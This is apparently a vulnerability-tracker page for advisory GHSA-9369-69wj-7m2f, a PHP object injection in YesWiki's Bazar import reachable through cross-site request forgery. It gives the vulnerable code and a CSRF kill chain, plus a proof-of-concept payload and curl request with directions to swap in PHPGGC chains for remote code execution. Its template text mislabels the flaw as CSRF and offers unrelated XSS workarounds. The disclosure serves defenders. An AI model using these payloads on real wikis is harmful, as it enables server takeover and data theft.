YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserializeGHSA-9369-69wj-7m2f
Fix: YesWiki/yeswiki@8f70a8dGHSA-9369-69wj-7m2f is a Cross-Site Request Forgery (CSRF) vulnerability in yeswiki/yeswiki. A fix is available for yeswiki/yeswiki — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9369-69wj-7m2f.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
yeswiki/yeswikiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Details
Sink
tools/bazar/services/CSVManager.php line 372-399:
public function importEntry(array $importedEntries, string $formId): ?array
{
if (!$this->importdone) {
// ...
foreach ($importedEntries as $entry) {
$entry = unserialize(base64_decode($entry)); // <-- SINK
$entry = array_map('strval', $entry);
// ...
There is no ['allowed_classes' => false] argument; arbitrary classes are instantiated. The subsequent array_map('strval', $entry) additionally exercises __toString on each top-level array element, doubling the magic-method surface available to a gadget chain.
Source
tools/bazar/actions/BazarImportAction.php:
// formatArguments()
'mode' => (isset($_POST['submit_file']) && !empty($_FILES['fileimport']['name'])) ? 'submitfile' :
(isset($_POST['importfiche']) ? 'importentries' : 'default'),
'importentries' => $_POST['importfiche'] ?? null,
// run()
case 'importentries':
// ...
$importedEntries = $this->CSVManager->importEntry($this->arguments['importentries'], $vID['id']);
break;
$_POST['importfiche'] flows directly to the sink. The mode switches to 'importentries' whenever the request body contains the key, so an attacker need only POST importfiche[0]=<payload>.
Reachability
-
The action is registered as
bazarimport. The defaultBazaRpage (setup/sql/default-content.sql->BazaRpage entry, ships with{{bazar showexportbuttons="1"}}) routes?BazaR&vue=importer&id_typeannonce=<N>toBazarAction::run()->case VOIR_IMPORTER -> callAction('bazarimport', ...)(tools/bazar/actions/BazarAction.php:257-258). So the sink is reachable on a default install with no extra page authoring. -
BazarImportAction::run()calls$this->checkSecuredACL()with the default$adminOnly=true. Only wiki admins (or accounts the admin has added to thebazarimportaction ACL) can execute it. -
The
importentriesbranch does NOT invokeCsrfTokenController::checkToken(...). Greppingtools/bazar/actions/BazarImportAction.phpconfirms the action class has nocsrforcheckTokenreference at all. This is asymmetric with sibling actions:tools/bazar/controllers/FormController.phpdoes callcheckToken('main', 'POST', 'confirmDeleteToken')for destructive operations. The import path skips the same protection. -
Therefore the full kill chain for a remote attacker is:
a. Identify any admin user on the target wiki. b. Deliver an HTML page (email, chat, link) that auto-POSTs
importfiche[0]=<base64-encoded PHPGGC payload>tohttps://<wiki>/?BazaR&vue=importer&id_typeannonce=1. c. The admin's session cookie is sent automatically; the action passescheckSecuredACL; the unserialize fires.
Gadget chain availability
composer.json requires doctrine/annotations ^1.11 and doctrine/cache ^1.10. Both have published PHPGGC chains (Doctrine/RCE1, Doctrine/FW1, Doctrine/FW2, etc., from https://github.com/ambionics/phpggc). These chains terminate in either system($cmd) (RCE1) or file_put_contents($php_file, $contents) (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host.
This advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki's exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling.
Past advisories cross-check
YesWiki's published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an unserialize / PHP-object-injection sink, so this is a novel vulnerability class for the project.
PoC
A self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled __destruct runs without booting the full application.
Run:
php poc.php
Output (verbatim):
Crafted importfiche[0] payload (form-ready, urlencoded):
YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D
== before importEntry ==
[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'
PHP Fatal error: Uncaught Error: Object of class Gadget could not be converted to string ...
[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'
The two [Gadget] __destruct fired lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined Gadget::__destruct executed -- with the attacker-supplied marker -- inside the unmodified importEntry code path.
End-to-end against a live YesWiki install:
curl -i -b "yeswiki_session=<admin_cookie>" \
-X POST "https://wiki.example.com/?BazaR&vue=importer&id_typeannonce=1" \
--data-urlencode \
"importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ=="
(replace the payload with a real PHPGGC Doctrine/FW1 or Doctrine/RCE1 output to obtain RCE on the target host).
Impact
- Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required).
- An attacker who has already compromised an admin password upgrades from "wiki content management" to "OS shell on the hosting box".
- The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify
wakka.config.php, dump the MySQL database, and pivot from there.
Suggested fix
tools/bazar/services/CSVManager.php::importEntry-- pass['allowed_classes' => false]tounserialize, or, better, replace the base64+serialize transport with the JSON transport the current UI already uses (?api/entries/{formId}POST intools/bazar/presentation/javascripts/bazar-import.js). The serialized-PHP transport appears to be an unused legacy path.tools/bazar/actions/BazarImportAction.php-- add aCsrfTokenController::checkToken('main', 'POST', 'csrf-token', false)guard for the'importentries'mode (and any other state-changing modes). The existingtools/bazar/controllers/FormController.phppattern can be lifted directly.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yeswiki/yeswiki | all versions | 4.6.6composer require yeswiki/yeswiki:^4.6.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update yeswiki/yeswiki to 4.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9369-69wj-7m2f is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-9369-69wj-7m2f in your dependencies?
Find it across Packagist, including transitive dependencies.